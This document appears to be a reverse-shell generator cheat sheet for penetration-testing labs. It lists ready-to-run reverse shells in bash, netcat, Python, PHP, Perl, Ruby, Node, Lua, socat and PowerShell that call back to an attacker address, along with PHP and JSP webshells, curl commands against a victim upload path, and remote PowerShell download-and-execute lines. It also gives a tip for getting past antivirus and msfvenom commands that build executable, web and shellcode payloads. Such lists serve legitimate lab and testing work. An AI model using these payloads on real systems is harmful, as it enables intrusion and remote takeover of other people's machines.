Reverse shell generator
Type your IP (the tun0 one) and the port you listen on, and copy the shell that matches what is installed on the target. Then upgrade it with the TTY cheatsheet.
Linux
Listen on your machine
nc -lvnp 443
rlwrap -cAr nc -lvnp 443
ip -4 addr show tun0 | grep -oP '(?<=inet )[\d.]+'
Bash
bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'
The leading bash -c is needed when sh runs the command (for example, from a command injection).
0<&196;exec 196<>/dev/tcp/10.10.14.5/443; sh <&196 >&196 2>&196
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.5%2F443%200%3E%261%22
Netcat
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.5 443 >/tmp/f
nc -e /bin/bash 10.10.14.5 443
Only on nc builds that include -e (nc.traditional, ncat).
busybox nc 10.10.14.5 443 -e sh
Scripting languages
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.14.5",443));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("bash")'
php -r '$s=fsockopen("10.10.14.5",443);exec("sh <&3 >&3 2>&3");'
perl -e 'use Socket;$i="10.10.14.5";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'
ruby -rsocket -e 'f=TCPSocket.open("10.10.14.5",443).to_i;exec sprintf("sh -i <&%d >&%d 2>&%d",f,f,f)'
node -e 'sh=require("child_process").spawn("sh");require("net").connect(443,"10.10.14.5",function(){this.pipe(sh.stdin);sh.stdout.pipe(this);sh.stderr.pipe(this)})'
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.10.14.5','443');os.execute('sh -i <&3 >&3 2>&3');"
Fully interactive shell (socat)
socat file:`tty`,raw,echo=0 tcp-listen:443
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.5:443
If the target has no socat, upload a static binary (github.com/andrew-d/static-binaries).
Webshells
PHP
<?php system($_GET['cmd']); ?>
Use it with ?cmd=id. If system is disabled, try passthru, shell_exec, exec or popen.
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'"); ?>
curl -G 'http://VICTIMA/uploads/shell.php' --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'"
Other languages
<% Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.5/443 0>&1"}); %>
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f aspx -o shell.aspx
Windows
PowerShell
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('10.10.14.5',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([Text.Encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()"
If antivirus blocks it, run it through the encoder (PowerShell -enc) or use Invoke-PowerShellTcp.
powershell -nop -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.5 -Port 443"
Serve the script with python3 -m http.server 80 from the folder that holds it.
With binaries
\\10.10.14.5\share\nc.exe -e cmd.exe 10.10.14.5 443
On your machine: impacket-smbserver share $(pwd) -smb2support (in the folder with nc.exe).
IEX(IWR http://10.10.14.5/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.10.14.5 443
stty raw -echo; (stty size; cat) | nc -lvnp 443
msfvenom
Executables
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f elf -o shell.elf
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f exe -o shell.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f msi -o shell.msi
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f dll -o shell.dll
Web
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f war -o shell.war
msfvenom -p php/reverse_php LHOST=10.10.14.5 LPORT=443 -f raw -o shell.php
Shellcode
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -b '\x00' -f python
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 EXITFUNC=thread -b '\x00\x0a\x0d' -f c
No command matches.